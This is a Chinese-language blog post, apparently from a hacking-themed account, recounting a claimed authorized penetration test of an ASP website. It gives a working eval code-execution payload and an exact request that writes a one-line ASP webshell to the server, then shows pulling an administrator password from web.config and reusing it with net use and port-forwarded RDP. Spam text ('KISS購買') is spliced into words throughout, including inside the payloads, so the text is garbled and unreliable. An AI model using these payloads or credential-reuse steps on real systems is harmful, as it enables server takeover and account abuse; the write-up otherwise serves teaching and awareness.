新鲜出炉(一次非常有趣的黑盒渗透)sp25电子烟,
海阳顶端的头条号,垂直领域是黑客技术或网络安全方面。我的口号是普及大众黑客知识,提高网络安全意识。应网友V哽咽的要求,在这里补一篇我在工作中的一次授权渗透测试的记录吧,通过这篇文章应当会明白黑客如何通过流行手法入侵网站,以及基本的渗透测试流程了。
本文阅读时间约8分钟,估计一千五百字。
一、扫描
我同时开KISS購買启了NETSPARKER 3.2.10版本来扫描网站WEB端以及Cyf的后台路径来狂扫。从这两个软件来看,也知我用的工具有多老了,应当和我的岁数相符,就像在KTV大家不同年纪来唱不同的歌一样(分别见图1、图2)。
图1
图2
从图2可以知道,我很幸运,漏洞很多,有注入、有XSS、还有一个很少见的代码执行漏KISS購買洞,特别是ASP的代码执行较少见。
二、WEB渗透
1、我本以为一个SQLMAP就搞定一切。但往往你对它期望越高,它就会让你越失望。SQLMAP猜出的PAYLOAD有error-based、stacked queries、AND/OR time-based blind和UNION query,可以说是脱KISS購買裤子的手法让你眼花缭乱,但最终在猜解字段值的时候SB了。我都兴奋硬了,SQLMAP你给我看这个?后来我拿下了此服务器,我发现SQLMAP对字段值无能为力的原因可能是没有对表名前后加中括号。像user改为[user]就可以了。当然,这是我的猜测,对已经曲折到手的成果我往往不会去追究曲折原因,做人不能太KISS購買优秀。另外,后台也没有扫出来,暂且放弃注入这条道路。
2、哪就试一下远程代码执行吧。按图2的提示,手工运行一下,结果如图3。
target.com/target.asp?err_code=%2bresponse.write(1)
图3
看到eval,我明白这个网站的程序员是个聪明人了,最少我写程序时这等高大KISS購買上的函数我几乎没有用过,当然一句话之类的asp木马我是写过的。但要注意的是,图3中提示你的是Object required: eval(...),不似asp提示的server.Object required: eval(...)。哪么我们再来测试一下其它的提交参数吧。先得到物理路径,呵呵,还有回显,KISS購買图4所示。
target.com/target.asp?err_code=%2bresponse.write(server.mappath("/"))
图4
直接写个文件上去,提交代码:
%2bresponse.write(server.CreateObject(“Scripting.FileSystemOKISS購買bject”).OpenTextFile(“c:\inetpub\wwwroot\upload\5.asp”,8,True,0).WriteLine(“<%eval(request(Chr(35)))%>"))
事情都不是一帆风顺的,在这句装B的代码前我已经失败过几次了。一是路径我改成了c:\inetKISS購買pub\wwwroot\upload,保证有写权限(感谢上边的图1后台路径猜解器),另一个是5.asp,你就会猜到我以前已经调整代码写过1、2、3、4了,但还是不成功。我抽了几支烟,又综合了前边的出错成果,我明白了错误在哪。一是图3提示的是Object required,二是我写的<%eval(reKISS購買quest(Chr(35)))%>对%没有转义,所以最终装B成功的代码是:
%2bresponse.write(CreateObject(“
Scripting.FileSystemObject”).OpenTextFile(“c:\inetpub\wwwroot\upload\5.asp”,8,TruKISS購買e,0).WriteLine(“<%25eval(request(Chr(35)))%25>"))。你可以仔细比较这两句代码的区别。这个网站的程序员也真怪呀,把asp当成vbs来写。到此,webshell到手,图5。
图5
三、提权
服务器是win2003 sp2,vmware的虚拟机,几乎一个本地提权补KISS購買丁也没有打,应当是各个exp大显身手的好时机。可惜的是服务器装了一个单机版的Symantec和网络版的趋势,我的exp传上去就被杀,根本无法运行。另外,它俩还联手封锁了C:\Documents and Settings\All Users\Documents\这一目录的外部程序运行。不过这不要紧,还KISS購買有一个目录C:\Documents and Settings\All Users\Application Data\VMware\Installer\可以执行外部命令的。读一个网站的虚拟目录以及匿名帐号密码吧,说不定有些网站管理员比较懒(图6),密码设为同一个或是有些黑客已经来过已经把某些帐号加入管KISS購買理组了。不过还是不行,此路不通,一看图6的密码就是随机密码。
图6
等一下,网站根目录下web.config里边写着什么?
<?xml version="1.0"?>
<configuration>
<system.web>
<add value="index.asp" />
<identity impersonKISS購買ate="true" userName="backup" password="y111118m3" />
<customErrors mode="Off" />
</system.web>
</configuration>
backup是管理员帐号呀!命令行下net use \\127.0.0.1\ipc$KISS購買 y1l11118m3 /u:system\backup,测试一下是否准确,结果出来一个2242错误。net helpmsg 2242查了一下,原来是此用户的密码已经过期。这个已过期的管理员帐号能有什么用处呢?net User backup,如图8所示。
它一是管理组,二是用户有权限更改密码,三是竟然KISS購買从来没有登陆过。你想到了什么?对了,是端口转发(因为是内网)3389,出来的3389界面会在你输正确的密码后提示你更改密码的!端口转发也有很多工具,网上也有很多教程的。由于我已经改过backup的密码了,没法再次实战斗截图给大家看,只能本机抓个图给大家说明一下流程,我保证此方法是真实有效的,如图9所KISS購買示,登陆后输入上文中的密码后会让你更改密码的。
这次的渗透流程其实并不复杂,一是得益于一点asp知识,另一处是细节方面的考量了,整体过程还是比较有趣的。